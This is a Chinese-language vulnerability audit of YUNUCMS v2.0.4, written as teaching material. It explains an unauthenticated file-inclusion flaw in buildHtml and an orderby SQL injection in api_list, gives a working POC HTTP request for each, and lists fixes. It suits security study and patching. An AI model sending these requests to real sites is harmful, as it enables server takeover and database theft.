YUNUCMSv2.0.4代码审计日常分享
字数 1020 2025-08-18 11:39:04
YUNUCMS v2.0.4 安全漏洞分析与教学文档
1. 系统概述
YUNUCMS 是一款基于 ThinkPHP 开发的内容管理系统,在 v2.0.4 版本中存在多个安全漏洞,官方已在 v2.0.5 版本中修复这些问题。
2. 文件包含漏洞导致 Getshell
漏洞位置
- 文件路径:
app/index/controller/Index.php - 方法:
buildHtml - 是否需要登录:否
漏洞分析
public function buildHtml($htmlfile = '', $htmlpath = '', $templateFile = '') {
$content = $this->fetch($templateFile);
$htmlpath = !empty($htmlpath) ? $htmlpath : APP_PATH . '/html';
$htmlfile = $htmlpath . $htmlfile . '.html';
$dir = dirname($htmlfile);
if(file_put_contents($htmlfile, $content) === false) {
return false;
} else {
return true;
}
}
templateFile参数可控,直接传入fetch函数fetch函数最终会调用think/Template.php中的模板加载功能- 系统会直接包含
templateFile指定的文件
漏洞利用
POC:
POST /index.php?s=index/index/buildHtml HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
templateFile=./1.txt.jpg
利用条件
- 攻击者需要能够上传包含恶意代码的文件到服务器
- 文件内容可以是 PHP 代码,但扩展名不一定是 .php
防御措施
- 对传入的文件路径进行严格校验
- 限制包含的文件目录范围
- 检查文件扩展名和内容
3. SQL 注入漏洞
漏洞位置
- 文件路径:
app/api/controller/Master.php - 方法:
api_list - 参数:
orderby
漏洞分析
public function api_list() {
$attr = input();
$cid = !isset($attr['cid']) || $attr['cid'] ? 1 : $attr['cid'];
$titlelen = empty($attr['titlelen']) ? 0 : intval($attr['titlelen']);
if(empty($attr['orderby'])) {
$orderby = "id DESC";
} else {
if(strpos($attr['orderby'], 'desc') !== false || strpos($attr['orderby'], 'asc') !== false) {
$orderby = $attr['orderby']; // 如果包含desc/asc,即传入可控内容
} else {
$orderby = "id DESC";
}
}
$_infolist = db('content')->where($_where)->order("$orderby")->limit(($pages-1)*$limit,$limit)->select();
}
orderby参数从用户输入直接获取- 仅检查参数中是否包含
desc或asc,不进行其他过滤 - 参数直接拼接到 SQL 语句中执行
漏洞利用
POC:
POST /index.php?s=api/master/api_list HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
cid=29&titlelen=1&orderby=if(database()='yunucms1',id,cid)desc&keyword=%
其他受影响的方法
api_linkapi_banner
防御措施
- 使用参数化查询或预处理语句
- 对
orderby参数进行白名单验证 - 限制可排序的字段范围
4. 漏洞修复建议
-
文件包含漏洞修复:
- 限制
templateFile参数只能包含特定目录下的模板文件 - 验证文件扩展名必须是合法的模板文件扩展名
- 限制
-
SQL注入漏洞修复:
- 使用框架提供的安全方法处理排序参数
- 实现严格的参数过滤机制
- 更新到官方最新版本 v2.0.5
5. 总结
YUNUCMS v2.0.4 版本中存在多个高危漏洞,攻击者可以利用这些漏洞进行文件包含攻击和 SQL 注入攻击,可能导致服务器被完全控制。开发者应及时更新到修复版本,并在开发过程中注意以下几点:
- 所有用户输入都应视为不可信的
- 文件操作要限制在指定目录范围内
- 数据库操作应使用参数化查询
- 实现严格的输入验证和输出编码
通过本教学文档,安全研究人员可以了解这些漏洞的成因和利用方式,开发者可以学习如何避免类似安全问题。